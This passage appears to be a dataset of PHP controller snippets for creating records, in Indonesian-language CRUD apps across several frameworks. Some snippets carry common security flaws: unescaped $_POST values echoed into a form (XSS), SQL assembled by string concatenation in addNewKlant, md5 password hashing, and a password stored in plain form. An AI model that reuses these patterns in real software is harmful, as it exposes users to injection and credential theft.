class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"fax\">Fax</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"fax\" class=\"form-control\" id=\"fax\" value=\"<?=(isset($_POST['fax']) ? $_POST['fax'] : '');?>\" placeholder=\"Fax\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"ugd\">Ugd</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"ugd\" class=\"form-control\" id=\"ugd\" value=\"<?=(isset($_POST['ugd']) ? $_POST['ugd'] : '');?>\" placeholder=\"Ugd\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"vip\">Vip</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"vip\" class=\"form-control\" id=\"vip\" value=\"<?=(isset($_POST['vip']) ? $_POST['vip'] : '');?>\" placeholder=\"Vip\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"vvip\">Vvip</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"vvip\" class=\"form-control\" id=\"vvip\" value=\"<?=(isset($_POST['vvip']) ? $_POST['vvip'] : '');?>\" placeholder=\"Vvip\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kelas1\">Kelas1</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kelas1\" class=\"form-control\" id=\"kelas1\" value=\"<?=(isset($_POST['kelas1']) ? $_POST['kelas1'] : '');?>\" placeholder=\"Kelas1\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kelas2\">Kelas2</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kelas2\" class=\"form-control\" id=\"kelas2\" value=\"<?=(isset($_POST['kelas2']) ? $_POST['kelas2'] : '');?>\" placeholder=\"Kelas2\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-2\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kelas3\">Kelas3</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kelas3\" class=\"form-control\" id=\"kelas3\" value=\"<?=(isset($_POST['kelas3']) ? $_POST['kelas3'] : '');?>\" placeholder=\"Kelas3\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-6\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"jumdokter\">Jumdokter</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"jumdokter\" class=\"form-control\" id=\"jumdokter\" value=\"<?=(isset($_POST['jumdokter']) ? $_POST['jumdokter'] : '');?>\" placeholder=\"Jumdokter\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-6\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"jumperawat\">Jumperawat</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"jumperawat\" class=\"form-control\" id=\"jumperawat\" value=\"<?=(isset($_POST['jumperawat']) ? $_POST['jumperawat'] : '');?>\" placeholder=\"Jumperawat\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-12\">\n\t\t\t\t\t\t\t<?=$this->pohtml->inputText(array('type' => 'text', 'label' => 'foto', 'name' => 'foto', 'id' => 'picture', 'mandatory' => false, 'options' => '',), $inputgroup = true, $inputgroupopt = array('href' => '../'.DIR_INC.'/js/filemanager/dialog.php?type=0&field_id=picture', 'id' => 'browse-file', 'class' => 'btn-success', 'options' => '', 'title' => $GLOBALS['_']['action_7'].' foto'));?>\n\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"row\">\n\t\t\t\t\t\t\t<div class=\"col-md-12\">\n\t\t\t\t\t\t\t\t<?=$this->pohtml->formAction();?>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t<?=$this->pohtml->formEnd();?>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php\n\t}", "function add()\n {\n $data = array(\n 'judul' => $this->input->post('judul'),\n 'deskripsi' => $this->input->post('deskripsi'),\n 'tanggal' => $this->input->post('tanggal'),\n 'kesimpulan' => $this->input->post('kesimpulan'),\n );\n $this->RapatModel->insert($data);\n redirect(\"Rapat/lists\");\n }", "public function actionCreate()\n {\n $model = new KegiatanSkpd();\n \tif ($model->load(Yii::$app->request->post()) && $model->save()) {\n \treturn $this->redirect(['view', 'tahun' => $model->tahun, 'Kd_Urusan' => $model->Kd_Urusan, 'Kd_Bidang' => $model->Kd_Bidang, 'Kd_Unit' => $model->Kd_Unit, 'Kd_Program' => $model->Kd_Program, 'Kd_Kegiatan' => $model->Kd_Kegiatan]);\n \t} else {\n \t\treturn $this->render('create', [\n \t'model' => $model,\n ]);\n \t}\n }", "public function addGuru()\n\t{\n\t\t$params = new StdClass();\n\t\t$params->nip = null;\n\t\t$params->alamat_guru = null;\n\t\t$params->nama_guru = null;\n\t\t$params->no_hp_guru = null;\n\t\t$params->gender_guru = null;\n\t\t$this->validasi();\n\t\tif ($this->form_validation->run() == FALSE) {\n\t\t\t$this->load->view('template/main', [\n\t\t\t\t\"src\" => \"module/guru/formguru\",\n\t\t\t\t\"page\" => ucfirst(\"tambah data guru\"),\n\t\t\t\t\"submit\" => \"saveguru\",\n\t\t\t\t\"query\" => $params\n\t\t\t]);\n\t\t} else {\n\t\t\t$this->proses();\n\t\t}\n\t}", "public function add($data){\n $this->db->insert('tbl_petugas', $data);\n\n }", "public function actionCreate()\n {\n $model = new MaklumatPelajarPenjaga();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function insertDepositProduksiGalian(Request $request)\n {\n $id_desa = $request->input('id_desa');\n $id_desa = Hashids::decode($id_desa)[0];\n $tanggal = $request->input('tanggal');\n $jenis_bahan_galian = $request->input('jenis_bahan_galian');\n $status = $request->input('status');\n $hasil_produksi = $request->input('hasil_produksi');\n $di_jual_langsung_ke_konsumen = $request->input('di_jual_langsung_ke_konsumen');\n $di_jual_melalui_kud = $request->input('di_jual_melalui_kud');\n $di_jual_melalui_tengkulak = $request->input('di_jual_melalui_tengkulak');\n $di_jual_melalui_pengecer = $request->input('di_jual_melalui_pengecer');\n $di_jual_ke_perusahaan = $request->input('di_jual_ke_perusahaan');\n $di_jual_ke_lumbung_desa_kelurahan = $request->input('di_jual_ke_lumbung_desa_kelurahan');\n $tidak_dijual = $request->input('tidak_dijual');\n $kepemilikan = $request->input('kepemilikan');\n $record = new DepositProduksiGalian;\n $record->id_desa = $id_desa;\n $record->tanggal = tanggalSystem($tanggal);\n $record->jenis_bahan_galian = $jenis_bahan_galian;\n $record->status = $status;\n $record->hasil_produksi = $hasil_produksi;\n $record->di_jual_langsung_ke_konsumen = $di_jual_langsung_ke_konsumen;\n $record->di_jual_melalui_kud = $di_jual_melalui_kud;\n $record->di_jual_melalui_tengkulak = $di_jual_melalui_tengkulak;\n $record->di_jual_melalui_pengecer = $di_jual_melalui_pengecer;\n $record->di_jual_ke_perusahaan = $di_jual_ke_perusahaan;\n $record->di_jual_ke_lumbung_desa_kelurahan = $di_jual_ke_lumbung_desa_kelurahan;\n $record->tidak_dijual = $tidak_dijual;\n $record->kepemilikan = $kepemilikan;\n $record->save();\n $request->session()->flash('notice', \"Data Baru Berhasil Disimpan\");\n return redirect(URLGroup('potensi/sda/defosit-galian'));\n }", "public function add_post(){\n $response = $this->BayiM->add(\n $this->post('iduser'),\n $this->post('nama'),\n $this->post('gender')\n );\n $this->response($response);\n }", "public function create()\n {\n if(!session()->get('id'))\n {\n session()->setFlashdata('message', 'Silahkan login terlebih dahulu!');\n return redirect()->to(base_url('login'));\n }\n\n helper(['form']);\n\n $penghunis = new PenghunisModel();\n\n $data = array(\n 'title' => 'Tambah Data Paket',\n 'penghuni' => $penghunis->findAll(),\n );\n echo view('backend/paket/create', $data);\n }", "public function actionNew()\n {\n $model = new Pekerjaan();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n Yii::$app->session->setFlash('success','Berhasil Menambahkan Pekerjaan Baru');\n return $this->redirect(['/admin/user/index']);\n }\n\n return $this->render('form', [\n 'model' => $model,\n ]);\n }", "public function store(PajakRequest $request)\n {\n $dataPajak = [\n //jika tdk increment tdk perlu di tulis dlm store\n //id tidak perlu ditampilkan \n 'id_gol' => $request ['id_gol'],\n 'pajak' => $request ['pajak'],\n \n\n ];\n\n return Pajak::create($dataPajak);\n //Pajak = model\n }", "public function add(){\n if (isset($_SESSION['identity'])) {// Comprobamos que hay un usuario logueado\n $usuario_id = $_SESSION['identity']->id;// Obtenemos el ID del Usuario logueado\n $sProvincia = isset($_POST['province']) ? $_POST['province'] : false;\n $sLocalidad = isset($_POST['location']) ? $_POST['location'] : false;\n $sDireccion = isset($_POST['address']) ? $_POST['address'] : false;\n\n $stats = Utils::statsCarrito();\n $coste = $stats['total'];// Obtenemos el coste total del pedido\n\n\n if ($sProvincia && $sLocalidad && $sDireccion){\n // Guardar datos en bd\n $oPedido = new Pedido();\n $oPedido->setUsuarioId($usuario_id);\n $oPedido->setProvincia($sProvincia);\n $oPedido->setLocalidad($sLocalidad);\n $oPedido->setDireccion($sDireccion);\n $oPedido->setCoste($coste);\n\n $save = $oPedido->savePedido();// Insertamos el Pedido en BD\n\n // Guardar Linea Pedido\n $save_linea = $oPedido->save_linea();\n\n if ($save && $save_linea){// Comprobamos que La inserccion a sido correcta\n $_SESSION['pedido'] = \"complete\";\n }else{\n $_SESSION['pedido'] = \"failed\";\n }\n }else{\n $_SESSION['pedido'] = \"failed\";\n\n }\n header(\"Location:\" . base_url .'pedido/confirmado');\n }else{\n // Redirigir al Index\n header(\"Location:\" . base_url);\n }\n }", "public function store()\n {\n $npk = $this->request->getPost('pen_npk');\n $nama = $this->request->getPost('pen_nama');\n $role = $this->request->getPost('pen_role');\n $pass = $this->request->getPost('pen_password');\n \n // Membuat array collection yang disiapkan untuk insert ke table\n $data = [\n 'pen_npk' => $npk,\n 'pen_nama' => $nama,\n 'pen_role' => $role,\n 'pen_password' => $pass,\n 'pen_status' => 1\n ];\n \n /* \n Membuat variabel simpan yang isinya merupakan memanggil function \n insert_pengguna dan membawa parameter data \n */\n $simpan = $this->pengguna->insert_pengguna($data);\n \n // Jika simpan berhasil, maka ...\n if($simpan)\n {\n // Deklarasikan session flashdata dengan tipe success\n session()->setFlashdata('success', 'Data Pengguna Berhasil Disimpan!');\n // Redirect halaman ke product\n return redirect()->to(base_url('pengguna')); \n }\n }", "public function proses(Request $request)\n {\n\t// insert data ke table pegawai\n\tDB::table('data_mahasiswa')->insert([\n\t\t'nama' => $request->nama,\n\t\t'npm' => $request->npm,\n\t\t'jurusan' => $request->jurusan,\n 'kelas' => $request->kelas,\n 'email' => $request->email,\n\t\t'mode_waktu' => $request->mode_waktu\n\t]);\n\t// alihkan halaman ke halaman pegawai\n\treturn redirect('/mahasiswa');\n }", "public function store(Request $peminjaman)\n {\n //\n $aturan=[\n 'buku_id'=>'numeric',\n 'anggota_id'=>'numeric'\n ];\n $pesan=[\n 'numeric'=>'wajib di isi'\n ];\n $this->validate($peminjaman,$aturan,$pesan);\n Peminjaman::create($peminjaman->all());\n\t\treturn redirect('peminjaman');\n\n }", "function tambah_pelanggan(){\n\t\t$data = array(\n\t\t\t'kd_pelanggan' => $this->input->post('kd_pelanggan'),\n\t\t\t'nm_pelanggan' => $this->input->post('nm_pelanggan'),\n\t\t\t'alamat' => $this->input->post('alamat'),\n\t\t\t'email' => $this->input->post('email'), \n\t\t);\n\t\t$this->model_app->insertData('tbl_pelanggan',$data);\n\t\tredirect('master_pelanggan');\n\t}", "public function store(PerkuliahanRequest $request)\n {\n // store\n $perkuliahan = new Perkuliahan;\n $perkuliahan->kodekelas = Request::input('kodekelas');\n $perkuliahan->kodemk = Request::input('kodemk');\n $perkuliahan->hari = Request::input('hari');\n $perkuliahan->jam = Request::input('jam');\n $perkuliahan->nip = Request::input('nip');\n $perkuliahan->status = 1;\n $perkuliahan->save();\n\n // redirect\n Session::flash('message', 'Kelas perkuliahan berhasil ditambah');\n return Redirect::to('dashboard/perkuliahan');\n }", "public function actionCreate()\r\n {\r\n $model = new Pelanggaran();\r\n $trans = Yii::$app->db->beginTransaction();\r\n\r\n if ($model->loadAll(Yii::$app->request->post()) && $model->save()) {\r\n $check = $this->checkDetailPoint($model, 'create');\r\n \r\n if( isset($check['failed']) ){\r\n $trans->rollBack();\r\n Yii::$app->session->setFlash('error', $check['failed'] );\r\n return $this->redirect(['index']);\r\n }\r\n\r\n $trans->commit();\r\n Yii::$app->session->setFlash('success','Pelanggaran berhasil ditambahkan.');\r\n return $this->redirect(['index']);\r\n } else {\r\n return $this->render('create', [\r\n 'model' => $model,\r\n ]);\r\n }\r\n }", "public function addNewKlant(){\n\n\t\tif(empty($this->tussenvoegsels)){\n\t\t\t$this->tussenvoegsel = NULL;}\n\n\t\t$values = \"'\".$this->achternaam.\"', '\".$this->voorletters.\"', '\".$this->tussenvoegsels.\"', '\".$this->roepnaam.\"', '\".$this->geboortedatum.\"', '\".$this->adres.\"', '\".$this->postcode.\"', '\".$this->woonplaats.\"', '\".$this->gebruikersnaam.\"', '\".md5($this->wachtwoord).\"'\";\n\t\t$db = new database();\n\t\t$db->insert(\"klant\",\"achternaam, voorletters, tussenvoegsels, roepnaam, geboortedatum, adres, postcode, woonplaats, gebruikersnaam, wachtwoord\", $values\n\t\t\t);\n\t\techo \"geregistreerd\";\n\t}", "public function store(ProyekRequest $request)\n {\n //id_proyek','proyek','budget','dp','lokasi','harga','bonus\n $data = [\n 'nama_proyek' => $request['nama_proyek'],\n 'ket' => $request['ket'],\n \n \n \n ];\n\n return Proyek::create($data);\n }", "function add()\n { \n if(isset($_POST) && count($_POST) > 0) \n { \n $params = array(\n\t\t\t\t'ID_TRAKSAKSI' => $this->input->post('ID_TRAKSAKSI'),\n\t\t\t\t'STATUS' => $this->input->post('STATUS'),\n\t\t\t\t'TGL_BAYAR' => $this->input->post('TGL_BAYAR'),\n );\n \n $pembayaran_id = $this->Pembayaran_model->add_pembayaran($params);\n redirect('pembayaran/index');\n }\n else\n { \n $data['_view'] = 'pembayaran/add';\n $this->load->view('layouts/main',$data);\n }\n }", "public function create() //添加\n {\n\t\t//\n }", "function add()\n { \n $this->load->library('form_validation');\n\n\t\t$this->form_validation->set_rules('prodi_nama','Prodi Nama','required');\n\t\t$this->form_validation->set_rules('prodi_akreditasi','Prodi Akreditasi','required');\n\t\t\n\t\tif($this->form_validation->run()) \n { \n $params = array(\n\t\t\t\t'prodi_akreditasi' => $this->input->post('prodi_akreditasi'),\n\t\t\t\t'prodi_nama' => $this->input->post('prodi_nama'),\n );\n \n $prodi_id = $this->Prodi_model->add_prodi($params);\n redirect('prodi/index');\n }\n else\n {\n\t\t\t$this->load->model('Akreditasi_model');\n\t\t\t$data['all_akreditasi'] = $this->Akreditasi_model->get_all_akreditasi();\n \n $data['_view'] = 'prodi/add';\n $this->load->view('layouts/main',$data);\n }\n }", "public function store(Request $request)\n {\n $request->validate([\n 'pengeluaran' => 'required',\n 'jenbel' => 'required',\n 'belanja' => 'required|unique:pengeluarans,belanja_id,NULL,id,kegiatan_id,'.$request->get('kegiatan'),\n 'tanggal' => 'required'\n ]);\n\n $pengeluaran = new Pengeluaran();\n $pengeluaran->profile_id = $request->get('sekolah');\n $pengeluaran->kegiatan_id = $request->get('kegiatan');\n $pengeluaran->belanja_id = $request->get('belanja');\n $pengeluaran->jenbel_id = $request->get('jenbel');\n $pengeluaran->jum_peng = $request->get('pengeluaran');\n $pengeluaran->tanggal = $request->get('tanggal');\n $pengeluaran->save();\n\n return redirect()->route('pengeluaran');\n }", "public function actionCreate()\n {\n $model = new JenisPelayanan();\n\n if ($model->load(Yii::$app->request->post()) && $model->simpan()) {\n return $this->redirect(['view', 'id' => $model->id_halaman]);\n }\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function actionCreate()\n {\n $model = new Persyaratan();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id_persyaratan]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function addNewHospital()\n {\n }", "public function create()\n {\n $penunggupasiens = PenungguPasien::all();\n return view('admin.penunggu_pasien.create');\n }", "public function add_data_mahasiswa()\n\t{\n\t\t$save = $this->input->post('add_mahasiswa');\n\t\t$kelas = 't_kelas';\n\t\t$tahun = 't_tahun_akademik';\n\t\t$prodi = \"t_prodi\";\n\t\t$data['kelas'] = $this->m_aka->get_all($kelas);\n\t\t$data['tahun_aka'] = $this->m_aka->get_all($tahun);\n\t\t$data['prodi'] = $this->m_aka->get_all($prodi);\n\t\t$data['content'] = 'mahasiswa/tambah_mahasiswa';\n\t\t$this->load->view('content', $data);\n\t}", "public function addProfessional()\n {\n }", "public function index_post(){\n $data = array(\n 'nrp' => $this->post('nrp'),\n 'nama' => $this->post('nama'),\n 'email' => $this->post('email'),\n 'jurusan' => $this->post('jurusan')\n );\n\n if($this->m_mahasiswa->add('mahasiswa',$data) > 0){\n $this->response([\n 'status' => true, //status= true\n 'message' => 'new data has been added' //message not found\n ], REST_Controller::HTTP_CREATED); //201 created\n }else {\n $this->response([\n 'status' => false, //status= false\n 'message' => 'fail to add data' //message not found\n ], REST_Controller::HTTP_BAD_REQUEST); //400 bad request\n }\n }", "function add_tahun_pelajaran($params)\n {\n $this->db->insert('tahun_pelajaran',$params);\n return $this->db->insert_id();\n }", "function addPOSEntry()\n{\n\n}", "function createProses(){\n\n \t$kd_jenis = $this->MBenang->getKd_jenis();\n\n \t$jenis_benang = $this->input->post('jenis_benang');\n\n \t$data = array(\n\n 'kd_jenis' =>$kd_jenis,\n\n 'jenis_benang' =>$jenis_benang\n\n );\n \t\n $insert\t\t = $this->MBenang->createBenang($data);\n\n\n \t $this->session->set_flashdata('notif','<div class=\"alert alert-info alert alert-dismissible fade in\" role=\"alert\"><button type=\"button \" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button><h4><i class=\"icon fa fa-check\"></i> Berhasil!</h4> Data Berhasil ditambahkan </div>');\n\n \tredirect(base_url('Benang')); \n\n }", "public function prosesTambah() {\n\t\t$this->form_validation->set_rules('Nama', 'Nama', 'trim|required');\n\t\t$this->form_validation->set_rules('Alamat', 'Alamat', 'trim|required');\n\t\t$this->form_validation->set_rules('Telepon', 'Telepon', 'trim|required');\n\n\t\t$data \t= $this->input->post();\n\t\tif ($this->form_validation->run() == TRUE) {\n\t\t\t$result = $this->M_dpetani->insert($data);\n\n\t\t\tif ($result > 0) {\n\t\t\t\t$out['status'] = '';\n\t\t\t\t$out['msg'] = show_succ_msg('Data Petani Berhasil ditambahkan', '20px');\n\t\t\t} else {\n\t\t\t\t$out['status'] = '';\n\t\t\t\t$out['msg'] = show_err_msg('Data Petani Gagal ditambahkan', '20px');\n\t\t\t}\n\t\t} else {\n\t\t\t$out['status'] = 'form';\n\t\t\t$out['msg'] = show_err_msg(validation_errors());\n\t\t}\n\n\t\techo json_encode($out);\n\t}", "public function actionIzinByMahasiswaAdd()\n {\n $model = new IzinRuangan();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['izin-by-mahasiswa-view', 'id' => $model->izin_ruangan_id]);\n } else {\n return $this->render('IzinByMahasiswaAdd', [\n 'model' => $model,\n ]);\n }\n }", "public static function addPanier() {\n //Si le produit n'existe pas\n if (!isset($_GET['id'])) {\n self::error();\n } else {\n $idProduit = $_GET['id'];\n //Si le panier est vide\n if (!isset($_SESSION['panier'])) {\n $stockProduit = 1;\n $_SESSION['panier'] = array('produit' . $idProduit => array('id' => $idProduit,\n 'stock' => $stockProduit),);\n } else {\n //Si le produit n'est pas deja present dans le panier\n if (!isset($_SESSION[\"panier\"][\"produit\" . $idProduit])) {\n $stockProduit = 1;\n $_SESSION[\"panier\"]['produit' . $idProduit] = array('id' => $idProduit,\n 'stock' => $stockProduit);\n } else {\n $_SESSION[\"panier\"][\"produit\" . $idProduit][\"stock\"] ++;\n }\n }\n }\n self::readPanier();\n }", "function ambil_paket_create(){\r\n\t\t//POST varible here\r\n\t\t//auto increment, don't accept anything from form values\r\n\t\t$paket_kode=trim(@$_POST[\"paket_kode\"]);\r\n\t\t$paket_kode=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$paket_kode);\r\n\t\t$paket_kode=str_replace(\"'\", \"\\'\",$paket_kode);\r\n\t\t$paket_nama=trim(@$_POST[\"paket_nama\"]);\r\n\t\t$paket_nama=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$paket_nama);\r\n\t\t$paket_nama=str_replace(\"'\", \"\\'\",$paket_nama);\r\n\t\t$paket_expired=trim(@$_POST[\"paket_expired\"]);\r\n\t\t$result=$this->m_master_ambil_paket->ambil_paket_create($paket_kode ,$paket_nama ,$paket_expired );\r\n\t\techo $result;\r\n\t}", "public function createAction($idRuangan)\n\t{\n\t\t// $ruangan = Ruangan::findFirstById($this->auth->getIdentity()['idRuangan']);\n\t\t// jika jenisRuang adalah pelayanan maka hanya menampilkan bukandokter\n\t\t$ruangan = Ruangan::findFirstById($idRuangan);\n\t\tif (($this->auth->getIdentity()['profile']) == 'Pelayanan') {\n\t\t\t$pegawai = Pegawai::find([\n\t\t\t\t'posisiStatus = ?2 AND idPegawai NOT IN (SELECT pr.idPegawai FROM Jaspel\\Models\\PegawaiRuangan pr WHERE pr.idRuangan = ?1 AND pr.statusAktif = ?3)',\n\t\t\t\t'bind' => [\n\t\t\t\t\t'1' => $idRuangan,\n\t\t\t\t\t'2' => 'dokter',\n\t\t\t\t\t'3' => 1\n\t\t\t\t]\n\t\t\t]);\n\t\t} elseif (($this->auth->getIdentity()['profile']) == 'Kepegawaian' AND $ruangan->jenisRuang == 'pelayanan') {\n\t\t\t$pegawai = Pegawai::find([\n\t\t\t\t'posisiStatus = ?2 AND idPegawai NOT IN (SELECT pr.idPegawai FROM Jaspel\\Models\\PegawaiRuangan pr WHERE pr.idRuangan = ?1 AND pr.statusAktif = ?3)',\n\t\t\t\t'bind' => [\n\t\t\t\t\t'1' => $idRuangan,\n\t\t\t\t\t'2' => 'bukandokter',\n\t\t\t\t\t'3' => 1\n\t\t\t\t]\n\t\t\t]);\n\t\t} elseif (($this->auth->getIdentity()['profile']) == 'Kepegawaian' AND $ruangan->jenisRuang == 'kantor') {\n\t\t\t$pegawai = Pegawai::find([\n\t\t\t\t'idPegawai NOT IN (SELECT pr.idPegawai FROM Jaspel\\Models\\PegawaiRuangan pr WHERE pr.idRuangan = ?1 AND pr.statusAktif = ?2)',\n\t\t\t\t'bind' => [\n\t\t\t\t\t'1' => $idRuangan,\n\t\t\t\t\t'2' => 1\n\t\t\t\t]\n\t\t\t]);\n\t\t} else {\n\t\t\t$this->flashSession->error('You do not have permission.');\n\t\t\t$this->response->redirect('pegawai-ruangan');\n\t\t}\n\t\t$ruangan = Ruangan::findByJenisRuang(\"kantor\");\n\n\t\t$this->view->pegawai = $pegawai;\n\t\t$this->view->ruangan = $ruangan;\n\n\t\tif ($this->request->isPost()) {\n\t\t\tforeach ($this->request->getPost('pegawai') as $pegawai) {\n\t\t\t\t$dm = PegawaiRuangan::findFirst([ 'order' => 'sort desc' ]);\n\t\t\t\t$pegawaiRuangan = new PegawaiRuangan([\n\t\t\t\t\t'idPegawai' => $pegawai,\n\t\t\t\t\t'idRuangan' => $idRuangan,\n\t\t\t\t\t'tglAktifitas' => date('Y-m-d',time()),\n\t\t\t\t\t'statusInOut' => 'in',\n\t\t\t\t\t'statusPosisi' => 1,\n\t\t\t\t\t'statusAktif' => 1,\n\t\t\t\t\t'sort' => $dm->sort + 1\n\t\t\t\t]);\n\t\t\t\tif (!$pegawaiRuangan->save()) {\n\t\t\t\t\tforeach ($pegawaiRuangan->getMessages() as $m) {\n\t\t\t\t\t\t$this->flashSession->error('Error creating pegawai ruangan. ' . $m);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->response->redirect('pegawai-ruangan?ruangan='.$idRuangan);\n\t\t}\n\t}", "public function insertPenyimpananRekeningPorsiRugi($porsi_anggota, $rekening_margin){\n //tambah ke penyimpanan rekening\n $home = new HomeController();\n $date = $home->MonthShifter(0)->format(('Ym'));\n\n // update penyimpanan rekening sesuai dengan porsi product\n $rekeningMargin = Rekening::where('id_rekening', $rekening_margin)->select('id')->first();\n $saldoPenyimpananRekening = PenyimpananRekening::where('id_rekening', $rekeningMargin->id)->where('periode',$date)->select('saldo')->first();\n $penyimpananRekening = PenyimpananRekening::where('id_rekening', $rekeningMargin->id)\n ->where('periode',$date)->first();\n $penyimpananRekening->saldo = $saldoPenyimpananRekening->saldo + $porsi_anggota;\n $penyimpananRekening->save();\n\n //masuk ke buku besar\n $bmt = BMT::where('id_rekening', $rekeningMargin->id)->select('id', 'saldo')->first();\n $saldo = $bmt->saldo + $porsi_anggota;\n $detailToPenyimpananBMT = [\n \"jumlah\" => $porsi_anggota,\n \"saldo_awal\" => $bmt->saldo,\n \"saldo_akhir\" => $bmt->saldo + $porsi_anggota,\n \"id_pengajuan\" => null\n ];\n $dataToPenyimpananBMT = [\n \"id_user\" => Auth::user()->id,\n \"id_bmt\" => $bmt->id,\n \"status\" => \"Distribusi Pendapatan\",\n \"transaksi\" => $detailToPenyimpananBMT,\n \"teller\" => Auth::user()->id\n ];\n\n $this->rekeningReporsitory->insertPenyimpananBMT($dataToPenyimpananBMT);\n\n\n $detailToPenyimpananBMT = [\n \"jumlah\" => $porsi_anggota,\n \"saldo_awal\" => $saldo,\n \"saldo_akhir\" => $saldo - $porsi_anggota,\n \"id_pengajuan\" => null\n ];\n $dataToPenyimpananBMT = [\n \"id_user\" => Auth::user()->id,\n \"id_bmt\" => $bmt->id,\n \"status\" => \"Distribusi Pendapatan\",\n \"transaksi\" => $detailToPenyimpananBMT,\n \"teller\" => Auth::user()->id\n ];\n\n $this->rekeningReporsitory->insertPenyimpananBMT($dataToPenyimpananBMT);\n\n }", "public function store(Request $request)\n {\n $this->validate($request,[\n 'pencipta_name' => 'required|min:5|max:100',\n ]);\n\n //\n pencipta::create([\n\n 'pencipta_code' =>$request->pencipta_code,\n 'pencipta_name' =>$request->pencipta_name,\n 'daerah_asal' =>$request->daerah_asal,\n 'TTL' =>$request->TTL,\n 'description_pencipta' =>$request->description_pencipta\n ]);\n return redirect(route('pencipta.index'));\n }", "public function create()\n {\n if(!Session::get('login')){\n toastr()->warning('Kamu harus login terlebih dahulu.');\n return redirect('login');\n }else{\n $AWAL = '419.72.02.06.42';\n // karna array dimulai dari 0 maka kita tambah di awal data kosong\n // bisa juga mulai dari \"1\"=>\"I\"\n $bulanRomawi = array(\"\", \"I\",\"II\",\"III\", \"IV\", \"V\",\"VI\",\"VII\",\"VIII\",\"IX\",\"X\", \"XI\",\"XII\");\n $noUrutAkhir = \\App\\Suratpengantar::max('id');\n $no = 1;\n if($noUrutAkhir) {\n $nomorotomatis = sprintf(\"%03s\", abs($noUrutAkhir + 1)). '/' . $AWAL .'/' . $bulanRomawi[date('n')] .'/' . date('Y');\n }\n else {\n $nomorotomatis = sprintf(\"%03s\", $no). '/' . $AWAL .'/' . $bulanRomawi[date('n')] .'/' . date('Y');\n }\n return view('warga.surat-pengantar.surat-tambah', compact('nomorotomatis'));\n }\n }", "public function createTbsPenjualan(Request $request)\n {\n $data_tbs = 0;\n $session_id = session()->getId();\n $data_simpan_penjualan = SimpanPenjualan::select()->where('id', $request->id)->where('toko_id', Auth::user()->toko_id);\n $data_detail_simpan_penjualan = SimpanDetailPenjualan::dataSimpanDetailPenjualan($data_simpan_penjualan->first()->id);\n $tbs_penjualan = TbsPenjualan::select()->where('session_id', $session_id)->where('toko_id', Auth::user()->toko_id)->get();\n foreach ($data_detail_simpan_penjualan->get() as $data_detail_simpan_penjualans) {\n $session = session()->getId();\n TbsPenjualan::create([\n 'session_id' => $session,\n 'id_simpan_penjualan' => $request->id,\n 'satuan_id' => $data_detail_simpan_penjualans->id_satuan,\n 'produk_id' => $data_detail_simpan_penjualans->id_produk,\n 'id_kategori' => $data_detail_simpan_penjualans->id_kategori,\n 'harga_produk' => 